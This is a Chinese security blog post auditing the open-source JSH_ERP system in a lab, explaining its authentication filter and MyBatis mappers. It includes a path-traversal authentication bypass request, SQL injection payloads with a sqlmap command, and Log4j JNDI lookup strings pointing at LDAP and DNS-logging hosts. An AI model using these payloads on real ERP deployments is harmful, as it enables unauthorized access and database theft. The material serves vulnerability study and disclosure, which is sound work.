华夏erp代码审计

发表于 java comment...
代码审计学习复现...

环境搭建

参考知识星球文章华夏erp代码审计 , 下载源码 https://gitee.com/jishenghua/JSH_ERP

运行pom.xml文件,这里需要设置maven地址并且更换为国内源,更新配置 。MAC环境下数据库名不能有特殊符号 , 数据库编码得用utf-8

mysql.server start  			# 启动MySQL
sudo mysql -uroot -pxxxx  # 登录 ,别忘记修改代码的配置信息 jsherp\src\main\resources\application.properties
create database jshrep charset utf8; # 创建数据库导入 sql 文件
source xxx.sql     				# 导入数据库 搭建后账号为 jsh 密码 123456

image-20220805143346978

漏洞复现

未授权登录

Filter 是 Servlet 中的过滤器 ,添加一个过滤器非常简单,只需要实现Filter接口,并添加@WebFilter注解即可:

未授权问题: 针对权限校验不足 , 因此这里需要了解下在 spring boot 中针对权限常用的一些过滤手段 , command+shift+f 全局搜索 @WebFilter : 在 com.jsh.erp.fillter.LogCostFillder:

image-20220805143829278

其中代码解析如下:


/*
首先是@WebFilter注解属性:
urlPatterns 所有路由都经过这个 , 指定拦截的路径  ,默认就是这个
filterName Filter名称 
initParams 配置参数
然后是 @WebInitParam 注解属性:该注解通常不单独使用,而是配合 @WebServlet 或者 @WebFilter 使用。它的作用是为 Servlet 或者过滤器指定初始化参数。
name  指定参数的名字
value 指定参数的值
*/
@WebFilter(filterName = "LogCostFilter", urlPatterns = {"/*"},
        initParams = {@WebInitParam(name = "ignoredUrl", value = ".css#.js#.jpg#.png#.gif#.ico"),
                      @WebInitParam(name = "filterPath",
                              value = "/user/login#/user/registerUser#/v2/api-docs")})
                              
                              
// 继承 Filter 接口 , 重写 过滤内容                             
public class LogCostFilter implements Filter {
		// 定义了两个常量
    private static final String FILTER_PATH = "filterPath";
    private static final String IGNORED_PATH = "ignoredUrl";
		// 定义了 ignoredList 列表 , 用于忽略的静态资源链接
    private static final List<String> ignoredList = new ArrayList<>();
    private String[] allowUrls;
    private String[] ignoredUrls;
		// 重写了 Filter 中初始化的相关
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        String filterPath = filterConfig.getInitParameter(FILTER_PATH);
        if (!StringUtils.isEmpty(filterPath)) {
            allowUrls = filterPath.contains("#") ? filterPath.split("#") : new String[]{filterPath};
        }

        String ignoredPath = filterConfig.getInitParameter(IGNORED_PATH);
        if (!StringUtils.isEmpty(ignoredPath)) {
            ignoredUrls = ignoredPath.contains("#") ? ignoredPath.split("#") : new String[]{ignoredPath};
            for (String ignoredUrl : ignoredUrls) {
                ignoredList.add(ignoredUrl);
            }
        }
    }
    @Override
    public void doFilter(ServletRequest request, ServletResponse response,
                         FilterChain chain) throws IOException, ServletException {
        HttpServletRequest servletRequest = (HttpServletRequest) request;
        HttpServletResponse servletResponse = (HttpServletResponse) response;
        String requestUrl = servletRequest.getRequestURI();
        //具体,比如:处理若用户未登录,则跳转到登录页
        // 使用 JSESSIONID 进行验证,这里只有管理员一种权限账号,要是有多种权限账号就会导致越权漏洞
        Object userInfo = servletRequest.getSession().getAttribute("user");
        if(userInfo!=null) { //如果已登录,不阻止 简单说就是存在session 就可以访问任意路由了
            chain.doFilter(request, response);
            return;
        }
        // requestUrl.contains 当且仅当此字符串包含指定的字符值序列时返回true。
        // 也就是说在请求URL包含 /doc.html  /register.html /login.html 这三个的时候,可以直接通过验证
        // 其中 doc.html 还是一个接口文档
        if (requestUrl != null && (requestUrl.contains("/doc.html") ||
            requestUrl.contains("/register.html") || requestUrl.contains("/login.html"))) {
            chain.doFilter(request, response); // 数据过滤函数
            return;
        }
        // 根据过滤信息进行比对 , 使用正则匹配 静态资源后缀 不进行校验
        // 那么这里就也会出现权限问题   
        // System.out.println(ignoredList); // [.css, .js, .jpg, .png, .gif, .ico]
        if (verify(ignoredList, requestUrl)) {
            chain.doFilter(servletRequest, response);
            return;
        }
       // 这里 使用前缀过滤 ,导致问题同上
        // /v2/api-docs  /user/login /user/registerUser 这些在allowUrls的接口都存在这个问题
        if (null != allowUrls && allowUrls.length > 0) {
            for (String url : allowUrls) {
                if (requestUrl.startsWith(url)) {
                    chain.doFilter(request, response);
                    return;
                }
            }
        }
        servletResponse.sendRedirect("/login.html");
    }

    private static String regexPrefix = "^.*";
    private static String regexSuffix = ".*$";

    private static boolean verify(List<String> ignoredList, String url) {
        for (String regex : ignoredList) {
            Pattern pattern = Pattern.compile(regexPrefix + regex + regexSuffix);
            Matcher matcher = pattern.matcher(url);
            if (matcher.matches()) {
                return true;
            }
        }
        return false;
    }
    @Override
    public void destroy() {

    }
}

在接口Filter实现doFilter 方法的时候,由于采取的不谨慎的过滤方式,导致可以使用../的方法使用白名单的方式通过过滤,导致了问题的存在:

GET /user/registerUser/../../log/list?search=%7B%22operation%22%3A%22%22%2C%22userId%22%3A%22%22%2C%22clientIp%22%3A%22%22%2C%22status%22%3A%22%22%2C%22beginTime%22%3A%22%22%2C%22endTime%22%3A%22%22%2C%22content%22%3A%22%22%7D&currentPage=1&pageSize=15 HTTP/1.1
Host: 192.168.31.130:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://172.20.10.5:8080/pages/manage/log.html
Content-Length: 2

Mybates SQL 注入漏洞

方便追踪函数,我们安装插件free-idea-mybatis 其中安装路径如下,

  • Mac:IntelliJ IDEA -> Preferences -> Plugins;
  • Windows:File -> Settings -> Plugins.

安装后可以点击箭头直接进入跟踪函数,省下自己一个个找的时间了

⌘ + ⇧ + F (Command + Shift + F) 从文件中搜索关键字 ${ 这一没有进行预编译的,查询有没有纯变量输入导致的注入问题

image-20220808140125966

FunctionMapperEx.xml 注入点:在xml文件中代码如下:这里面的nametype 参数都可以进行注入

...
<mapper namespace="com.jsh.erp.datasource.mappers.FunctionMapperEx">   <!--这里规定了命名空间-->
...
<select id="countsByFunction" resultType="java.lang.Long">  <!--这里规定了方法与返回类型-->
        SELEC
        COUNT(id)
        FROM jsh_function
        WHERE 1=1
        <if test="name != null">
            and name like '%${name}%'
        </if>
        <if test="type != null">
            and type='${type}'
        </if>
        and ifnull(delete_flag,'0') !='1'
    </select>

我们可以通过namespace来绑定到一个接口上,利用接口的特性,我们可以直接指明方法的行为,而实际实现则是由Mybatis来完成。

点击xml中的箭头(插件free-idea-mybatis 提供), 找到文件 FunctionMapperEx

package com.jsh.erp.datasource.mappers;

import com.jsh.erp.datasource.entities.Function;
import org.apache.ibatis.annotations.Param;

import java.util.Date;
import java.util.List;

public interface FunctionMapperEx { //接口 

    List<Function> selectByConditionFunction(
            @Param("name") String name,
            @Param("type") String type,
            @Param("offset") Integer offset,
            @Param("rows") Integer rows);

    Long countsByFunction(   
            @Param("name") String name,  
            @Param("type") String type); // 这里对应了mybates 的返回类型 long 

    int batchDeleteFunctionByIds(@Param("updateTime") Date updateTime, @Param("updater") Long updater, @Param("ids") String ids[]);
}

之后我们command+空格 进入 FunctionService.java 中如下

...
  private FunctionMapperEx functionMapperEx;  // 使用
...
  public Long countFunction(String name, String type)throws Exception {
      Long result=null;
      try{
          result= functionMapperEx.countsByFunction(name, type);  // 这里进行了引用
      }catch(Exception e){
          JshException.readFail(logger, e);
      }
        return result;
  }  

继续查找谁用了 countFunction 方法在 FunctionComponent.java

public class FunctionComponent implements ICommonQuery {
  ...

	public Long counts(Map<String, String> map) throws Exception{
        String search = map.get(Constants.SEARCH);
        String name = StringUtil.getInfo(search, "name");
        String type = StringUtil.getInfo(search, "type");
        return functionService.countFunction(name, type);
    }
}

进去 CommonQueryManager.java

public Long counts(String apiName, Map<String, String> parameterMap)throws Exception {
        if (StringUtil.isNotEmpty(apiName)) {
            return container.getCommonQuery(apiName).counts(parameterMap);  
          // 也就是说需要让 getCommonQuery(apiName)  返回的是  FunctionComponent , 这个,才能正确进入 counts 方法
        }
        return BusinessConstants.DEFAULT_LIST_NULL_NUMBER;
    }

最后定位到 JSH_ERP/src/main/java/com/jsh/erp/controller/ResourceController.java

    @GetMapping(value = "/{apiName}/list")  // 注解用于处理HTTP GET请求,并将请求映射到具体的处理方法中
    public String getList(@PathVariable("apiName") String apiName,  // 这里就是获取路径 变量为 apiName
                        @RequestParam(value = Constants.PAGE_SIZE, required = false) Integer pageSize,
                        @RequestParam(value = Constants.CURRENT_PAGE, required = false) Integer currentPage,
                        @RequestParam(value = Constants.SEARCH, required = false) String search,
                        HttpServletRequest request)throws Exception {
        Map<String, String> parameterMap = ParamUtils.requestToMap(request);
        parameterMap.put(Constants.SEARCH, search);  // 接收get中 search  参数接收的请求 存储入 parameterMa 中
        PageQueryInfo queryInfo = new PageQueryInfo();
        Map<String, Object> objectMap = new HashMap<String, Object>();
        if (pageSize != null && pageSize <= 0) {   // 确定搜索页面
            pageSize = 10;
        }
        String offset = ParamUtils.getPageOffset(currentPage, pageSize);
        if (StringUtil.isNotEmpty(offset)) {
            parameterMap.put(Constants.OFFSET, offset);
        }
        List<?> list = configResourceManager.select(apiName, parameterMap);  
        objectMap.put("page", queryInfo);
        if (list == null) {
            queryInfo.setRows(new ArrayList<Object>());
            queryInfo.setTotal(BusinessConstants.DEFAULT_LIST_NULL_NUMBER);
            return returnJson(objectMap, "查找不到数据", ErpInfo.OK.code);
        }
        queryInfo.setRows(list);
        queryInfo.setTotal(configResourceManager.counts(apiName, parameterMap));  // 在这里进行进入
        return returnJson(objectMap, ErpInfo.OK.name, ErpInfo.OK.code);
    }

在知道流程后, 寻找路由

GET /role/list?search=%7B%22name%22%3A%22%22%7D&currentPage=1&pageSize=15 HTTP/1.1
Host: 192.168.31.130:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://192.168.31.130:8080/pages/manage/role.html
Cookie: JSESSIONID=47E53DB242D673216CC09467CB6DF87F; Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1659839002; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1659960837

sqlmap命令如下:

python3 sqlmap.py -r /Users/songjidong/Desktop/sql.txt  --dbs --level 5

image-20220809083646339

payload 如下:

Parameter: search (name) (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: search={"name":"' AND 8011=8011-- ROXn"}&currentPage=1&pageSize=15

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SLEEP)
    Payload: search={"name":"' AND SLEEP(5)-- aAku"}&currentPage=1&pageSize=15

http请求构造注意search内容需要URL编码下:

GET /role/list?search=%7b%22%6e%61%6d%65%22%3a%22%27%20%41%4e%44%20%53%4c%45%45%50%28%35%29%2d%2d%20%61%41%6b%75%22%7d&currentPage=1&pageSize=15 HTTP/1.1
Host: 192.168.31.130:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://192.168.31.130:8080/pages/manage/role.html
Cookie: JSESSIONID=47E53DB242D673216CC09467CB6DF87F; Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1659839002; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1659960837

在命令行可以看到最后拼接的命令如下:

# <if test="name != null">  条件判断 name 不为空
# and name like '%${name}%'   
reparing: SELECT COUNT(id) FROM jsh_role WHERE jsh_role.tenant_id = 63 AND 1 = 1 AND ifnull(delete_flag, '0') != '1' AND name LIKE '%' AND SLEEP(5) 

代码扫描可以发现类似问题很多:需要的话可以逐一判断

image-20220809100411423

Log4j 问题

Apache Log4j 2.x < =2.15.0-rc1

查看pom.xml文件可知log4j版本存在问题:

		<dependency>
			<groupId>org.apache.logging.log4j</groupId>
			<artifactId>log4j-to-slf4j</artifactId>
			<version>2.10.0</version>
			<scope>compile</scope>
		</dependency>

在Java中触发方式也比较简单:

public static void main(String[] args) throws Exception{
    logger.log("${jndi:ldap://127.0.0.1:1389/badClassName}");
}

我们直接寻找那里有可控的日志输入测试就行,需要知道在程序中那里使用了log4j , 全局搜索关键字logger,使用logger.infologger.error , logger.log

image-20220809101039418

上图中

# yfgmcq.dnslog.cn
${jndi:ldap://yfgmcq.dnslog.cn}

但是不知道为啥没触发DNS

  • 本文作者: shangzeng
  • 版权声明: 本博客所有文章除特别声明外,均采用「 知识共享署名4.0 」创作共享协议,转载请注明作者及原网址。